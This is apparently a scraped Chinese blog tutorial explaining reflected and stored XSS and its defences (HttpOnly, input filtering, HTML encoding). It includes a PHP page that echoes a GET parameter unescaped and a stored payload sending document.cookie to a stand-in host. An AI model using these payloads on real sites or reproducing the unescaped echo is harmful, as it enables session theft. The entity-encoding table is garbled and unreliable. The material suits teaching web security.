XSS攻击的原理javascript
xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击相似,SQL注入攻击中以SQL语句做为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,经过插入恶意脚本,实现对用户游览器的控制。php
xss攻击主要用户攻击者盗取用户的cookie,因为sessionId是存储在cookie中的,当攻击者获取了用户的cookie,则攻击者能够在session的生命周期内,达到获取被攻击用户的用户权限。html
xss攻击能够分红两种类型:java
1.非持久型攻击数据库
顾名思义,非持久型攻击是一次性的,仅对当前访问产生影响。非持久型攻击要求用户访问一个被攻击者篡改的url地址,用户访问时,被植入的攻击脚本被用户浏览器执行,以达到攻击的目的。浏览器
假设有如下页面:安全
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://www.cnblogs.com/chenqf/">Click to Download</a>"; ?>
该页面显示两条信息服务器
这时,当攻击者给出如下URL连接:cookie
index.php?name=guest<script>alert('attacked')</script>
当用户点击该连接时,将产生如下html代码,带'attacked'的告警提示框弹出:网络
Welcome guest <script>
alert('attacked');//获取用户cookie,并将cookie经过网络传输至攻击者,则攻击者获取了用户权限
</script> <br> <a href='http://www.cnblogs.com/chenqf/'>Click to Download</a>
当用户打开该地址后,会弹出“attacked”,攻击者能够在此植入javascript代码,以达到操做用户浏览器的目的
2.持久型攻击
持久型攻击是存储式XSS漏洞,因为其攻击代码已经存储到服务器上或者数据库中,因此受害者是不少人。
例子以下:A网站为论坛网站,攻击者能够在论坛中发表文章,该文章内包含攻击代码,并保存。
<script>window.open(“www.attacked.com?param=”+document.cookie)</script>
这时,任意用户看到了攻击者发布的文章,并点击进入查看文章,此时以前被植入的攻击代码被执行,将用户的cookie信息传递给攻击者。
XSS攻击的防护
1.HttpOnly防止劫取Cookie
HttpOnly最先由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。
严格的书,HttpOnly并不是为了对抗XSS攻击,HttpOnly解决的是XSS后的Cookie劫持攻击。
某些时候,应用可能须要javascript访问某几项cookie,这种cookie能够不设置为HttpOnly标记,而仅把HttpOnly标记给用于认证的关键Cookie。
2.输入检查 XSS Filter
常见的XSS攻击都须要攻击者构造一些特殊字符,这些字符多是正经常使用户不会用到的,因此输入检查就有存在的必要了。
输入检查的逻辑,必须放在服务端代码实现。若是只是在客户端使用javascript进行输入检查,很容易被攻击者绕过。
目前的广泛作法是,在服务端代码和客户端代码中实现一样的代码检查逻辑。
互联网上有不少开源的XSS Filter的实现。
3.输出检查
在变量输入到html页面时,对html代码进行HtmlEncode。
为了对抗XSS,在HTMLEncode中要求至少转换如下字符:
& –> &
< –> <
> –> >
” –> "
‘ –> '
/ –> /
参考:《白帽子讲Web安全》